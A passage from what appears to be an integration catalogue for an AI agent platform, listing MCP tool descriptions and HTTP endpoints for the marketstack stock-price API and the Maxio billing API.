/api/v1/marketstack/v2/tickers/{symbol}/dividends. Scopes: api. marketstack_get_v2_tickers_by_symbol_eod (read) — Historical end-of-day OHLCV for one symbol, raw and split/dividend-adjusted, back to 2000 for most major instruments. Bound the window with `date_from`/`date_to`. Sorted newest-first by default and paginated (`limit` defaults to 100, caps at 1,000). NOTE the free tier carries one year of history regardless of what `date_from` asks for. GET /api/v1/marketstack/v2/tickers/{symbol}/eod. Scopes: api. marketstack_get_v2_tickers_by_symbol_eod_by_date (read) — The end-of-day record for one symbol on a SINGLE date, as YYYY-MM-DD or full ISO-8601. A weekend or market holiday returns no data rather than an error -- ask for the nearest prior trading day instead. GET /api/v1/marketstack/v2/tickers/{symbol}/eod/{date}. Scopes: api. marketstack_get_v2_tickers_by_symbol_eod_latest (read) — The single most recent end-of-day record for one symbol: open, high, low, close, volume and the adjusted values, for the last available trading day. The cheapest way to get a closing snapshot -- no date, no paging. NOTE the response is a BARE price object, not the usual `{data: [...]}` envelope. GET /api/v1/marketstack/v2/tickers/{symbol}/eod/latest. Scopes: api. marketstack_get_v2_tickers_by_symbol_intraday (read) — Intraday bars for one symbol over a date range, at intervals from 1 minute to 24 hours, with OHLC, volume and bid/ask. Intervals under 15 minutes need a Professional plan or higher even where intraday itself is enabled. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers intraday data. GET /api/v1/marketstack/v2/tickers/{symbol}/intraday. Scopes: api. marketstack_get_v2_tickers_by_symbol_intraday_by_date (read) — Intraday bars for one symbol on a SINGLE date at the configured interval. A weekend or market holiday returns no data. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers intraday data. GET /api/v1/marketstack/v2/tickers/{symbol}/intraday/{date}. Scopes: api. marketstack_get_v2_tickers_by_symbol_intraday_latest (read) — The most recent intraday bar for one symbol at the configured interval -- the fastest live-ish snapshot without a date or paging. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers intraday data. GET /api/v1/marketstack/v2/tickers/{symbol}/intraday/latest. Scopes: api. marketstack_get_v2_tickers_by_symbol_splits (read) — Historical share-split events for one symbol: the effective date and the numeric split factor (4.0 for a 4-for-1). Splits are why raw and adjusted prices diverge, so read this before comparing prices across a split boundary. GET /api/v1/marketstack/v2/tickers/{symbol}/splits. Scopes: api. marketstack_get_v2_tickerslist (read) — Every instrument in the marketstack database across all exchanges -- 680,000+ rows -- each with its exchange, and the `has_eod`/`has_intraday` flags. Use `search` for autocomplete-style lookups and `exchange` to restrict to one MIC. This is the broad symbol search; the per-exchange listing is the narrow one. GET /api/v1/marketstack/v2/tickerslist. Scopes: api. marketstack_get_v2_timezones (read) — The timezones marketstack recognises, each with its abbreviation and its daylight-saving abbreviation. Reference data for interpreting the timestamps on price records; takes no filter beyond paging. GET /api/v1/marketstack/v2/timezones. Scopes: api. ================================================================================ ## Maxio Advanced Billing URL: https://www.agenticfabriq.com/integrations/maxio Section: Integrated Tools Maxio Advanced Billing — 265 MCP tools Provider key: maxio. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. maxio_delete_by_resource_type_by_resource_id_metadata_json (write, destructive) — Delete metadata via DELETE /{resource_type}/{resource_id}/metadata.json DELETE /api/v1/maxio/{resource_type}/{resource_id}/metadata.json. Scopes: api. maxio_delete_by_resource_type_metafields_json (write, destructive) — Delete metafield via DELETE /{resource_type}/metafields.json DELETE /api/v1/maxio/{resource_type}/metafields.json. Scopes: api. maxio_delete_components_by_component_id_features_by_id_json (write, destructive) — Remove component feature via DELETE /components/{component_id}/features/{id}.json DELETE /api/v1/maxio/components/{component_id}/features/{id}.json. Scopes: api. maxio_delete_components_by_component_id_price_points_by_price_point_id_json (write, destructive) — Archive component price point via DELETE /components/{component_id}/price_points/{price_point_id}.json DELETE /api/v1/maxio/components/{component_id}/price_points/{price_point_id}.json. Scopes: api. maxio_delete_components_by_component_id_price_points_by_price_point_id_segments_by_id_json (write, destructive) — Delete segment via DELETE /components/{component_id}/price_points/{price_point_id}/segments/{id}.json DELETE /api/v1/maxio/components/{component_id}/price_points/{price_point_id}/segments/{id}.json. Scopes: api. maxio_delete_coupons_by_coupon_id_codes_by_subcode_json (write, destructive) — Delete coupon subcode via DELETE /coupons/{coupon_id}/codes/{subcode}.json DELETE /api/v1/maxio/coupons/{coupon_id}/codes/{subcode}.json. Scopes: api. maxio_delete_customers_by_id_json (write, destructive) — Delete customer via DELETE /customers/{id}.json DELETE /api/v1/maxio/customers/{id}.json. Scopes: api. maxio_delete_features_by_id_json (write, destructive) — Archive feature template via DELETE /features/{id}.json DELETE /api/v1/maxio/features/{id}.json. Scopes: api. maxio_delete_payment_profiles_by_payment_profile_id_json (write, destructive) — Delete unused payment profile via DELETE /payment_profiles/{payment_profile_id}.json DELETE /api/v1/maxio/payment_profiles/{payment_profile_id}.json. Scopes: api. maxio_delete_portal_customers_by_customer_id_invitations_revoke_json (write, destructive) — Revoke billing portal access via DELETE /portal/customers/{customer_id}/invitations/revoke.json DELETE /api/v1/maxio/portal/customers/{customer_id}/invitations/revoke.json. Scopes: api. maxio_delete_product_families_by_product_family_id_components_by_component_id_json (write, destructive) — Archive component via DELETE /product_families/{product_family_id}/components/{component_id}.json DELETE /api/v1/maxio/product_families/{product_family_id}/components/{component_id}.json. Scopes: api. maxio_delete_product_families_by_product_family_id_coupons_by_coupon_id_json (write, destructive) — Archive coupon via DELETE /product_families/{product_family_id}/coupons/{coupon_id}.json DELETE /api/v1/maxio/product_families/{product_family_id}/coupons/{coupon_id}.json. Scopes: api. maxio_delete_products_by_product_id_features_by_id_json (write, destructive) — Remove product feature via DELETE /products/{product_id}/features/{id}.json DELETE /api/v1/maxio/products/{product_id}/features/{id}.json. Scopes: api. maxio_delete_products_by_product_id_json (write, destructive) — Archive product via DELETE /products/{product_id}.json DELETE /api/v1/maxio/products/{product_id}.json. Scopes: api. maxio_delete_products_by_product_id_price_points_by_price_point_id_json (write, destructive) — Archive product price point via DELETE /products/{product_id}/price_points/{price_point_id}.json DELETE /api/v1/maxio/products/{product_id}/price_points/{price_point_id}.json. Scopes: api. maxio_delete_reason_codes_by_reason_code_id_json (write, destructive) — Delete reason code via DELETE /reason_codes/{reason_code_id}.json DELETE /api/v1/maxio/reason_codes/{reason_code_id}.json. Scopes: api. maxio_delete_subscription_groups_by_uid_delayed_cancel_json (write, destructive) — Cancel delayed cancellation for group via DELETE /subscription_groups/{uid}/delayed_cancel.json DELETE /api/v1/maxio/subscription_groups/{uid}/delayed_cancel.json. Scopes: api. maxio_delete_subscription_groups_by_uid_json (write, destructive) — Delete subscription group via DELETE /subscription_groups/{uid}.json DELETE /api/v1/maxio/subscription_groups/{uid}.json. Scopes: api. maxio_delete_subscription_groups_by_uid_payment_profiles_by_payment_profile_id_json (write, destructive) — Delete subscription group payment profile via DELETE /subscription_groups/{uid}/payment_profiles/{payment_profile_id}.json DELETE /api/v1/maxio/subscription_groups/{uid}/payment_profiles/{payment_profile_id}.json. Scopes: api. maxio_delete_subscriptions_by_subscription_id_components_by_component_id_allocations_by_allocation_id_json (write, destructive) — Delete prepaid usage allocation via DELETE /subscriptions/{subscription_id}/components/{component_id}/allocations/{allocation_id}.json DELETE /api/v1/maxio/subscriptions/{subscription_id}/components/{component_id}/allocations/{allocation_id}.json. Scopes: api. maxio_delete_subscriptions_by_subscription_id_delayed_cancel_json (write, destructive) — Cancel delayed cancellation via DELETE /subscriptions/{subscription_id}/delayed_cancel.json DELETE /api/v1/maxio/subscriptions/{subscription_id}/delayed_cancel.json. Scopes: api. maxio_delete_subscriptions_by_subscription_id_group_json (write, destructive) — Remove subscription from group via DELETE /subscriptions/{subscription_id}/group.json DELETE /api/v1/maxio/subscriptions/{subscription_id}/group.json. Scopes: api. maxio_delete_subscriptions_by_subscription_id_invoices_by_uid_json (write, destructive) — Delete invoice via DELETE /subscriptions/{subscription_id}/invoices/{uid}.json DELETE /api/v1/maxio/subscriptions/{subscription_id}/invoices/{uid}.json. Scopes: api. maxio_delete_subscriptions_by_subscription_id_json (write, destructive) — Cancel subscription via DELETE /subscriptions/{subscription_id}.json DELETE /api/v1/maxio/subscriptions/{subscription_id}.json. Scopes: api. maxio_delete_subscriptions_by_subscription_id_notes_by_note_id_json (write, destructive) — Delete subscription note via DELETE /subscriptions/{subscription_id}/notes/{note_id}.json DELETE /api/v1/maxio/subscriptions/{subscription_id}/notes/{note_id}.json. Scopes: api. maxio_delete_subscriptions_by_subscription_id_payment_profiles_by_payment_profile_id_json (write, destructive) — Delete subscriptions payment profile via DELETE /subscriptions/{subscription_id}/payment_profiles/{payment_profile_id}.json DELETE /api/v1/maxio/subscriptions/{subscription_id}/payment_profiles/{payment_profile_id}.json. Scopes: api. maxio_delete_subscriptions_by_subscription_id_remove_coupon_json (write, destructive) — Remove coupon from subscription via DELETE /subscriptions/{subscription_id}/remove_coupon.json DELETE /api/v1/maxio/subscriptions/{subscription_id}/remove_coupon.json. Scopes: api. maxio_delete_subscriptions_by_subscription_id_scheduled_renewals_by_scheduled_renewals_configuration_id_configuration_items_by_id_json (write, destructive) — Delete scheduled renewal configuration item via DELETE /subscriptions/{subscription_id}/scheduled_renewals/{scheduled_renewals_configuration_id}/configuration_items/{id}.json DELETE /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals/{scheduled_renewals_configuration_id}/configuration_items/{id}.json. Scopes: api. maxio_get_api_exports_invoices_by_batch_id_json (read) — Read invoices export via GET /api_exports/invoices/{batch_id}.json GET /api/v1/maxio/api_exports/invoices/{batch_id}.json. Scopes: api. maxio_get_api_exports_invoices_by_batch_id_rows_json (read) — List exported invoices via GET /api_exports/invoices/{batch_id}/rows.json GET /api/v1/maxio/api_exports/invoices/{batch_id}/rows.json. Scopes: api. maxio_get_api_exports_proforma_invoices_by_batch_id_json (read) — Read proforma invoices export via GET /api_exports/proforma_invoices/{batch_id}.json GET /api/v1/maxio/api_exports/proforma_invoices/{batch_id}.json. Scopes: api. maxio_get_api_exports_proforma_invoices_by_batch_id_rows_json (read) — List exported proforma invoices via GET /api_exports/proforma_invoices/{batch_id}/rows.json GET /api/v1/maxio/api_exports/proforma_invoices/{batch_id}/rows.json. Scopes: api. maxio_get_api_exports_subscriptions_by_batch_id_json (read) — Read subscriptions export via GET /api_exports/subscriptions/{batch_id}.json GET /api/v1/maxio/api_exports/subscriptions/{batch_id}.json. Scopes: api. maxio_get_api_exports_subscriptions_by_batch_id_rows_json (read) — List exported subscriptions via GET /api_exports/subscriptions/{batch_id}/rows.json GET /api/v1/maxio/api_exports/subscriptions/{batch_id}/rows.json. Scopes: api. maxio_get_by_resource_type_by_resource_id_metadata_json (read) — List metadata via GET /{resource_type}/{resource_id}/metadata.json GET /api/v1/maxio/{resource_type}/{resource_id}/metadata.json. Scopes: api. maxio_get_by_resource_type_metadata_json (read) — List metadata for resource type via GET /{resource_type}/metadata.json GET /api/v1/maxio/{resource_type}/metadata.json. Scopes: api. maxio_get_by_resource_type_metafields_json (read) — List metafields via GET /{resource_type}/metafields.json GET /api/v1/maxio/{resource_type}/metafields.json. Scopes: api. maxio_get_chargify_js_keys_json (read) — List chargify js public keys via GET /chargify_js_keys.json GET /api/v1/maxio/chargify_js_keys.json. Scopes: api. maxio_get_components_by_component_id_features_by_id_json (read) — Read component feature via GET /components/{component_id}/features/{id}.json GET /api/v1/maxio/components/{component_id}/features/{id}.json. Scopes: api. maxio_get_components_by_component_id_features_json (read) — List component features via GET /components/{component_id}/features.json GET /api/v1/maxio/components/{component_id}/features.json. Scopes: api. maxio_get_components_by_component_id_price_points_by_price_point_id_json (read) — Read component price point via GET /components/{component_id}/price_points/{price_point_id}.json GET /api/v1/maxio/components/{component_id}/price_points/{price_point_id}.json. Scopes: api. maxio_get_components_by_component_id_price_points_by_price_point_id_segments_json (read) — List segments for price point via GET /components/{component_id}/price_points/{price_point_id}/segments.json GET /api/v1/maxio/components/{component_id}/price_points/{price_point_id}/segments.json. Scopes: api. maxio_get_components_by_component_id_price_points_json (read) — List component price points via GET /components/{component_id}/price_points.json GET /api/v1/maxio/components/{component_id}/price_points.json. Scopes: api. maxio_get_components_json (read) — List components via GET /components.json GET /api/v1/maxio/components.json. Scopes: api. maxio_get_components_lookup_json (read) — Find component via GET /components/lookup.json GET /api/v1/maxio/components/lookup.json. Scopes: api. maxio_get_components_price_points_json (read) — List all component price points via GET /components_price_points.json GET /api/v1/maxio/components_price_points.json. Scopes: api. maxio_get_coupons_by_coupon_id_codes_json (read) — List coupon subcodes via GET /coupons/{coupon_id}/codes.json GET /api/v1/maxio/coupons/{coupon_id}/codes.json. Scopes: api. maxio_get_coupons_find_json (read) — Find coupon via GET /coupons/find.json GET /api/v1/maxio/coupons/find.json. Scopes: api. maxio_get_coupons_json (read) — List coupons via GET /coupons.json GET /api/v1/maxio/coupons.json. Scopes: api. maxio_get_coupons_validate_json (read) — Validate coupon via GET /coupons/validate.json GET /api/v1/maxio/coupons/validate.json. Scopes: api. maxio_get_credit_notes_by_uid_json (read) — Read credit note via GET /credit_notes/{uid}.json GET /api/v1/maxio/credit_notes/{uid}.json. Scopes: api. maxio_get_credit_notes_json (read) — List credit notes via GET /credit_notes.json GET /api/v1/maxio/credit_notes.json. Scopes: api. maxio_get_customers_by_customer_id_subscriptions_json (read) — List customer subscriptions via GET /customers/{customer_id}/subscriptions.json GET /api/v1/maxio/customers/{customer_id}/subscriptions.json. Scopes: api. maxio_get_customers_by_id_json (read) — Read customer via GET /customers/{id}.json GET /api/v1/maxio/customers/{id}.json. Scopes: api. maxio_get_customers_json (read) — List customers via GET /customers.json GET /api/v1/maxio/customers.json. Scopes: api. maxio_get_customers_lookup_json (read) — Read customer by reference via GET /customers/lookup.json GET /api/v1/maxio/customers/lookup.json. Scopes: api. maxio_get_endpoints_json (read) — List endpoints via GET /endpoints.json GET /api/v1/maxio/endpoints.json. Scopes: api. maxio_get_events_count_json (read) — Read events count via GET /events/count.json GET /api/v1/maxio/events/count.json. Scopes: api. maxio_get_events_json (read) — List events via GET /events.json GET /api/v1/maxio/events.json. Scopes: api. maxio_get_features_by_id_json (read) — Read feature template via GET /features/{id}.json GET /api/v1/maxio/features/{id}.json. Scopes: api. maxio_get_features_json (read) — List feature templates via GET /features.json GET /api/v1/maxio/features.json. Scopes: api. maxio_get_invoices_by_invoice_uid_segments_json (read) — List consolidated invoice segments via GET /invoices/{invoice_uid}/segments.json GET /api/v1/maxio/invoices/{invoice_uid}/segments.json. Scopes: api. maxio_get_invoices_by_uid_json (read) — Read invoice via GET /invoices/{uid}.json GET /api/v1/maxio/invoices/{uid}.json. Scopes: api. maxio_get_invoices_events_json (read) — List invoice events via GET /invoices/events.json GET /api/v1/maxio/invoices/events.json. Scopes: api. maxio_get_invoices_json (read) — List invoices via GET /invoices.json GET /api/v1/maxio/invoices.json. Scopes: api. maxio_get_offers_by_offer_id_json (read) — Read offer via GET /offers/{offer_id}.json GET /api/v1/maxio/offers/{offer_id}.json. Scopes: api. maxio_get_offers_json (read) — List offers via GET /offers.json GET /api/v1/maxio/offers.json. Scopes: api. maxio_get_one_time_tokens_by_chargify_token_json (read) — Read one time token via GET /one_time_tokens/{chargify_token}.json GET /api/v1/maxio/one_time_tokens/{chargify_token}.json. Scopes: api. maxio_get_payment_profiles_by_payment_profile_id_json (read) — Read payment profile via GET /payment_profiles/{payment_profile_id}.json GET /api/v1/maxio/payment_profiles/{payment_profile_id}.json. Scopes: api. maxio_get_payment_profiles_json (read) — List payment profiles via GET /payment_profiles.json GET /api/v1/maxio/payment_profiles.json. Scopes: api. maxio_get_portal_customers_by_customer_id_management_link_json (read) — Read billing portal link via GET /portal/customers/{customer_id}/management_link.json GET /api/v1/maxio/portal/customers/{customer_id}/management_link.json. Scopes: api. maxio_get_product_families_by_id_json (read) — Read product family via GET /product_families/{id}.json GET /api/v1/maxio/product_families/{id}.json. Scopes: api. maxio_get_product_families_by_product_family_id_components_by_component_id_json (read) — Read component via GET /product_families/{product_family_id}/components/{component_id}.json GET /api/v1/maxio/product_families/{product_family_id}/components/{component_id}.json. Scopes: api. maxio_get_product_families_by_product_family_id_components_json (read) — List components for product family via GET /product_families/{product_family_id}/components.json GET /api/v1/maxio/product_families/{product_family_id}/components.json. Scopes: api. maxio_get_product_families_by_product_family_id_coupons_by_coupon_id_json (read) — Read coupon via GET /product_families/{product_family_id}/coupons/{coupon_id}.json GET /api/v1/maxio/product_families/{product_family_id}/coupons/{coupon_id}.json. Scopes: api. maxio_get_product_families_by_product_family_id_coupons_by_coupon_id_usage_json (read) — Read coupon usage via GET /product_families/{product_family_id}/coupons/{coupon_id}/usage.json GET /api/v1/maxio/product_families/{product_family_id}/coupons/{coupon_id}/usage.json. Scopes: api. maxio_get_product_families_by_product_family_id_coupons_json (read) — List coupons for product family via GET /product_families/{product_family_id}/coupons.json GET /api/v1/maxio/product_families/{product_family_id}/coupons.json. Scopes: api. maxio_get_product_families_by_product_family_id_products_json (read) — List products for product family via GET /product_families/{product_family_id}/products.json GET /api/v1/maxio/product_families/{product_family_id}/products.json. Scopes: api. maxio_get_product_families_json (read) — List product families via GET /product_families.json GET /api/v1/maxio/product_families.json. Scopes: api. maxio_get_products_by_product_id_features_by_id_json (read) — Read product feature via GET /products/{product_id}/features/{id}.json GET /api/v1/maxio/products/{product_id}/features/{id}.json. Scopes: api. maxio_get_products_by_product_id_features_json (read) — List product features via GET /products/{product_id}/features.json GET /api/v1/maxio/products/{product_id}/features.json. Scopes: api. maxio_get_products_by_product_id_json (read) — Read product via GET /products/{product_id}.json GET /api/v1/maxio/products/{product_id}.json. Scopes: api. maxio_get_products_by_product_id_price_points_by_price_point_id_json (read) — Read product price point via GET /products/{product_id}/price_points/{price_point_id}.json GET /api/v1/maxio/products/{product_id}/price_points/{price_point_id}.json. Scopes: api. maxio_get_products_by_product_id_price_points_json (read) — List product price points via GET /products/{product_id}/price_points.json GET /api/v1/maxio/products/{product_id}/price_points.json. Scopes: api. maxio_get_products_handle_by_api_handle_json (read) — Read product by handle via GET /products/handle/{api_handle}.json GET /api/v1/maxio/products/handle/{api_handle}.json. Scopes: api. maxio_get_products_json (read) — List products via GET /products.json GET /api/v1/maxio/products.json. Scopes: api. maxio_get_products_price_points_json (read) — List all product price points via GET /products_price_points.json GET /api/v1/maxio/products_price_points.json. Scopes: api. maxio_get_proforma_invoices_by_proforma_invoice_uid_json (read) — Read proforma invoice via GET /proforma_invoices/{proforma_invoice_uid}.json GET /api/v1/maxio/proforma_invoices/{proforma_invoice_uid}.json. Scopes: api. maxio_get_reason_codes_by_reason_code_id_json (read) — Read reason code via GET /reason_codes/{reason_code_id}.json GET /api/v1/maxio/reason_codes/{reason_code_id}.json. Scopes: api. maxio_get_reason_codes_json (read) — List reason codes via GET /reason_codes.json GET /api/v1/maxio/reason_codes.json. Scopes: api. maxio_get_referral_codes_validate_json (read) — Validate referral code via GET /referral_codes/validate.json GET /api/v1/maxio/referral_codes/validate.json. Scopes: api. maxio_get_sellers_by_seller_id_sales_commission_settings_json (read) — List sales commission settings via GET /sellers/{seller_id}/sales_commission_settings.json GET /api/v1/maxio/sellers/{seller_id}/sales_commission_settings.json. Scopes: api. maxio_get_sellers_by_seller_id_sales_reps_by_sales_rep_id_json (read) — Read sales rep via GET /sellers/{seller_id}/sales_reps/{sales_rep_id}.json GET /api/v1/maxio/sellers/{seller_id}/sales_reps/{sales_rep_id}.json. Scopes: api. maxio_get_sellers_by_seller_id_sales_reps_json (read) — List sales reps via GET /sellers/{seller_id}/sales_reps.json GET /api/v1/maxio/sellers/{seller_id}/sales_reps.json. Scopes: api. maxio_get_site_json (read) — Read site via GET /site.json GET /api/v1/maxio/site.json. Scopes: api. maxio_get_stats_json (read) — Read site stats via GET /stats.json GET /api/v1/maxio/stats.json. Scopes: api. maxio_get_subscription_groups_by_uid_json (read) — Read subscription group via GET /subscription_groups/{uid}.json GET /api/v1/maxio/subscription_groups/{uid}.json. Scopes: api. maxio_get_subscription_groups_by_uid_prepayments_json (read) — List prepayments for subscription group via GET /subscription_groups/{uid}/prepayments.json GET /api/v1/maxio/subscription_groups/{uid}/prepayments.json. Scopes: api. maxio_get_subscription_groups_by_uid_proforma_invoices_json (read) — List subscription group proforma invoices via GET /subscription_groups/{uid}/proforma_invoices.json GET /api/v1/maxio/subscription_groups/{uid}/proforma_invoices.json. Scopes: api. maxio_get_subscription_groups_json (read) — List subscription groups via GET /subscription_groups.json GET /api/v1/maxio/subscription_groups.json. Scopes: api. maxio_get_subscription_groups_lookup_json (read) — Find subscription group via GET /subscription_groups/lookup.json GET /api/v1/maxio/subscription_groups/lookup.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_account_balances_json (read) — Read account balances via GET /subscriptions/{subscription_id}/account_balances.json GET /api/v1/maxio/subscriptions/{subscription_id}/account_balances.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_advance_invoice_json (read) — Read advance invoice via GET /subscriptions/{subscription_id}/advance_invoice.json GET /api/v1/maxio/subscriptions/{subscription_id}/advance_invoice.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_components_by_component_id_allocations_json (read) — List allocations via GET /subscriptions/{subscription_id}/components/{component_id}/allocations.json GET /api/v1/maxio/subscriptions/{subscription_id}/components/{component_id}/allocations.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_components_by_component_id_json (read) — Read subscription component via GET /subscriptions/{subscription_id}/components/{component_id}.json GET /api/v1/maxio/subscriptions/{subscription_id}/components/{component_id}.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_components_json (read) — List subscription components via GET /subscriptions/{subscription_id}/components.json GET /api/v1/maxio/subscriptions/{subscription_id}/components.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_entitlements_json (read) — Read subscription entitlements via GET /subscriptions/{subscription_id}/entitlements.json GET /api/v1/maxio/subscriptions/{subscription_id}/entitlements.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_events_json (read) — List subscription events via GET /subscriptions/{subscription_id}/events.json GET /api/v1/maxio/subscriptions/{subscription_id}/events.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_json (read) — Read subscription via GET /subscriptions/{subscription_id}.json GET /api/v1/maxio/subscriptions/{subscription_id}.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_notes_by_note_id_json (read) — Read subscription note via GET /subscriptions/{subscription_id}/notes/{note_id}.json GET /api/v1/maxio/subscriptions/{subscription_id}/notes/{note_id}.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_notes_json (read) — List subscription notes via GET /subscriptions/{subscription_id}/notes.json GET /api/v1/maxio/subscriptions/{subscription_id}/notes.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_or_reference_components_by_component_id_usages_json (read) — List usages via GET /subscriptions/{subscription_id_or_reference}/components/{component_id}/usages.json GET /api/v1/maxio/subscriptions/{subscription_id_or_reference}/components/{component_id}/usages.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_prepayments_json (read) — List prepayments via GET /subscriptions/{subscription_id}/prepayments.json GET /api/v1/maxio/subscriptions/{subscription_id}/prepayments.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_proforma_invoices_json (read) — List proforma invoices via GET /subscriptions/{subscription_id}/proforma_invoices.json GET /api/v1/maxio/subscriptions/{subscription_id}/proforma_invoices.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_scheduled_renewals_by_id_json (read) — Read scheduled renewal configuration via GET /subscriptions/{subscription_id}/scheduled_renewals/{id}.json GET /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals/{id}.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_scheduled_renewals_json (read) — List scheduled renewal configurations via GET /subscriptions/{subscription_id}/scheduled_renewals.json GET /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals.json. Scopes: api. maxio_get_subscriptions_by_subscription_id_service_credits_list_json (read) — List service credits via GET /subscriptions/{subscription_id}/service_credits/list.json GET /api/v1/maxio/subscriptions/{subscription_id}/service_credits/list.json. Scopes: api. maxio_get_subscriptions_components_json (read) — List subscription components for site via GET /subscriptions_components.json GET /api/v1/maxio/subscriptions_components.json. Scopes: api. maxio_get_subscriptions_json (read) — List subscriptions via GET /subscriptions.json GET /api/v1/maxio/subscriptions.json. Scopes: api. maxio_get_subscriptions_lookup_json (read) — Find subscription via GET /subscriptions/lookup.json GET /api/v1/maxio/subscriptions/lookup.json. Scopes: api. maxio_get_webhooks_json (read) — List webhooks via GET /webhooks.json GET /api/v1/maxio/webhooks.json. Scopes: api. maxio_patch_products_by_product_id_price_points_by_price_point_id_default_json (write) — Promote product price point to default via PATCH /products/{product_id}/price_points/{price_point_id}/default.json PATCH /api/v1/maxio/products/{product_id}/price_points/{price_point_id}/default.json. Scopes: api. maxio_patch_products_by_product_id_price_points_by_price_point_id_unarchive_json (write) — Unarchive product price point via PATCH /products/{product_id}/price_points/{price_point_id}/unarchive.json PATCH /api/v1/maxio/products/{product_id}/price_points/{price_point_id}/unarchive.json. Scopes: api. maxio_post_api_exports_invoices_json (write) — Export invoices via POST /api_exports/invoices.json POST /api/v1/maxio/api_exports/invoices.json. Scopes: api. maxio_post_api_exports_proforma_invoices_json (write) — Export proforma invoices via POST /api_exports/proforma_invoices.json POST /api/v1/maxio/api_exports/proforma_invoices.json. Scopes: api. maxio_post_api_exports_subscriptions_json (write) — Export subscriptions via POST /api_exports/subscriptions.json POST /api/v1/maxio/api_exports/subscriptions.json. Scopes: api. maxio_post_by_resource_type_by_resource_id_metadata_json (write) — Create metadata via POST /{resource_type}/{resource_id}/metadata.json POST /api/v1/maxio/{resource_type}/{resource_id}/metadata.json. Scopes: api. maxio_post_by_resource_type_metafields_json (write) — Create metafields via POST /{resource_type}/metafields.json POST /api/v1/maxio/{resource_type}/metafields.json. Scopes: api. maxio_post_components_by_component_id_features_by_id_restore_json (write) — Restore component feature via POST /components/{component_id}/features/{id}/restore.json POST /api/v1/maxio/components/{component_id}/features/{id}/restore.json. Scopes: api. maxio_post_components_by_component_id_features_json (write) — Create component feature via POST /components/{component_id}/features.json POST /api/v1/maxio/components/{component_id}/features.json. Scopes: api. maxio_post_components_by_component_id_price_points_bulk_json (write) — Bulk create component price points via POST /components/{component_id}/price_points/bulk.json POST /api/v1/maxio/components/{component_id}/price_points/bulk.json. Scopes: api. maxio_post_components_by_component_id_price_points_by_price_point_id_clone_json (write) — Clone component price point via POST /components/{component_id}/price_points/{price_point_id}/clone.json POST /api/v1/maxio/components/{component_id}/price_points/{price_point_id}/clone.json. Scopes: api. maxio_post_components_by_component_id_price_points_by_price_point_id_segments_bulk_json (write) — Bulk create segments via POST /components/{component_id}/price_points/{price_point_id}/segments/bulk.json POST /api/v1/maxio/components/{component_id}/price_points/{price_point_id}/segments/bulk.json. Scopes: api. maxio_post_components_by_component_id_price_points_by_price_point_id_segments_json (write) — Create segment via POST /components/{component_id}/price_points/{price_point_id}/segments.json POST /api/v1/maxio/components/{component_id}/price_points/{price_point_id}/segments.json. Scopes: api. maxio_post_components_by_component_id_price_points_json (write) — Create component price point via POST /components/{component_id}/price_points.json POST /api/v1/maxio/components/{component_id}/price_points.json. Scopes: api. maxio_post_coupons_by_coupon_id_codes_json (write) — Create coupon subcodes via POST /coupons/{coupon_id}/codes.json POST /api/v1/maxio/coupons/{coupon_id}/codes.json. Scopes: api. maxio_post_customers_json (write) — Create customer via POST /customers.json POST /api/v1/maxio/customers.json. Scopes: api. maxio_post_endpoints_json (write) — Create endpoint via POST /endpoints.json POST /api/v1/maxio/endpoints.json. Scopes: api. maxio_post_event_based_billing_subscriptions_by_subscription_id_components_by_component_id_activate_json (write) — Activate event based component via POST /event_based_billing/subscriptions/{subscription_id}/components/{component_id}/activate.json POST /api/v1/maxio/event_based_billing/subscriptions/{subscription_id}/components/{component_id}/activate.json. Scopes: api. maxio_post_event_based_billing_subscriptions_by_subscription_id_components_by_component_id_deactivate_json (write) — Deactivate event based component via POST /event_based_billing/subscriptions/{subscription_id}/components/{component_id}/deactivate.json POST /api/v1/maxio/event_based_billing/subscriptions/{subscription_id}/components/{component_id}/deactivate.json. Scopes: api. maxio_post_events_by_api_handle_bulk_json (write) — Bulk record events via POST /events/{api_handle}/bulk.json POST /api/v1/maxio/events/{api_handle}/bulk.json. Scopes: api. maxio_post_events_by_api_handle_json (write) — Record event via POST /events/{api_handle}.json POST /api/v1/maxio/events/{api_handle}.json. Scopes: api. maxio_post_features_by_id_restore_json (write) — Restore feature template via POST /features/{id}/restore.json POST /api/v1/maxio/features/{id}/restore.json. Scopes: api. maxio_post_features_json (write) — Create feature template via POST /features.json POST /api/v1/maxio/features.json. Scopes: api. maxio_post_invoices_by_uid_customer_information_preview_json (write) — Preview customer information changes via POST /invoices/{uid}/customer_information/preview.json POST /api/v1/maxio/invoices/{uid}/customer_information/preview.json. Scopes: api. maxio_post_invoices_by_uid_deliveries_json (write) — Send invoice via POST 